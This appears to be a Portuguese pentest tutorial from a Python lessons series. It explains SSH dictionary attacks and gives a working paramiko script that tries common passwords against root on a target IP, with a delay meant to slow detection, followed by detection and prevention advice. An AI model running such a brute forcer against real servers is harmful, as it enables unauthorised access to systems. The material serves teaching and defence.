Tenta combinações de usuário e senha em servidores SSH.
Contexto
O SSH (Secure Shell) é o protocolo padrão para gerenciar servidores remotamente de forma criptografada. No entanto, a segurança do protocolo não impede ataques contra a autenticação.
O objetivo deste módulo é realizar um ataque de dicionário, testando diversas combinações de nomes de usuário e senhas contra um alvo específico. Em um Pentest, isso é usado para identificar:
- Senhas Fracas: Credenciais óbvias como
admin/adminouroot/123456. - Configurações Padrão: Credenciais que vêm de fábrica em dispositivos IoT ou servidores recém-instalados.
- Falta de Políticas de Bloqueio: Verificar se o servidor permite tentativas infinitas sem banir o IP do atacante (falha de implementação de Fail2Ban).
Possibilidades de Implementação
- Biblioteca Paramiko: É a biblioteca padrão do Python para lidar com SSH. Ela permite simular uma conexão completa e verificar se o login foi aceito ou rejeitado.
- Multithreading: Essencial para testar centenas de senhas em pouco tempo, embora o excesso de conexões simultâneas possa causar um DoS no serviço SSH ou ser facilmente detectado.
- Ataque de Credenciais: Pode ser configurado para testar um único usuário com várias senhas, ou várias combinações de usuários conhecidos.
Código
Este módulo utiliza a biblioteca paramiko. Ele tenta se conectar e, caso não receba uma exceção de autenticação, confirma que a senha é válida.
Requisito: pip install paramiko
import paramiko
import socket
import time
def ssh_brute_force(hostname, username, password):
"""
Tenta realizar uma conexão SSH com as credenciais fornecidas.
"""
client = paramiko.SSHClient()
# Adiciona automaticamente a chave do host (necessário para conexões novas)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# Tenta a conexão
client.connect(hostname, username=username, password=password, timeout=3)
print(f"[!] SUCESSO: Login encontrado! -> {username}:{password}")
client.close()
return True
except paramiko.AuthenticationException:
# Senha incorreta
return False
except socket.error:
# Servidor offline ou porta fechada
print("[!] Erro: Servidor inacessível.")
return "error"
except Exception as e:
print(f"[?] Erro inesperado: {e}")
return False
finally:
client.close()
def main():
print("=" * 60)
print("Módulo: SSH Brute Forcer | Projeto: 30 Lessons in Python")
print("=" * 60)
target_ip = "192.168.1.10" # IP do servidor alvo
target_user = "root"
# Wordlist simulada
passwords = ["123456", "password", "admin", "root", "secret", "p@ssword"]
print(f"[*] Iniciando ataque contra {target_user}@{target_ip}...")
for pwd in passwords:
print(f"[*] Testando: {pwd}", end="\r")
result = ssh_brute_force(target_ip, target_user, pwd)
if result == True:
break
elif result == "error":
break
# Pequena pausa para evitar sobrecarga/detecção imediata
time.sleep(0.5)
print("\n" + "=" * 60)
print("[*] Ataque finalizado.")
if __name__ == "__main__":
main()
Observações
- Segurança do Script: O Paramiko é uma biblioteca pesada. Certifique-se de que todas as conexões sejam fechadas (
client.close()) para não deixar processos pendentes. - Detecção: Ataques de força bruta em SSH são extremamente barulhentos. Eles geram centenas de logs em
/var/log/auth.log. Como Software Architect, você deve notar que qualquer sistema de monitoramento (SIEM) pegaria isso em segundos. - Prevenção: Destaque em seu projeto que a melhor defesa contra isso é:
- Desativar login de
rootvia SSH. - Usar autenticação por chaves SSH em vez de senhas.
- Implementar Fail2Ban para banir IPs após 3 ou 5 erros.
- Desativar login de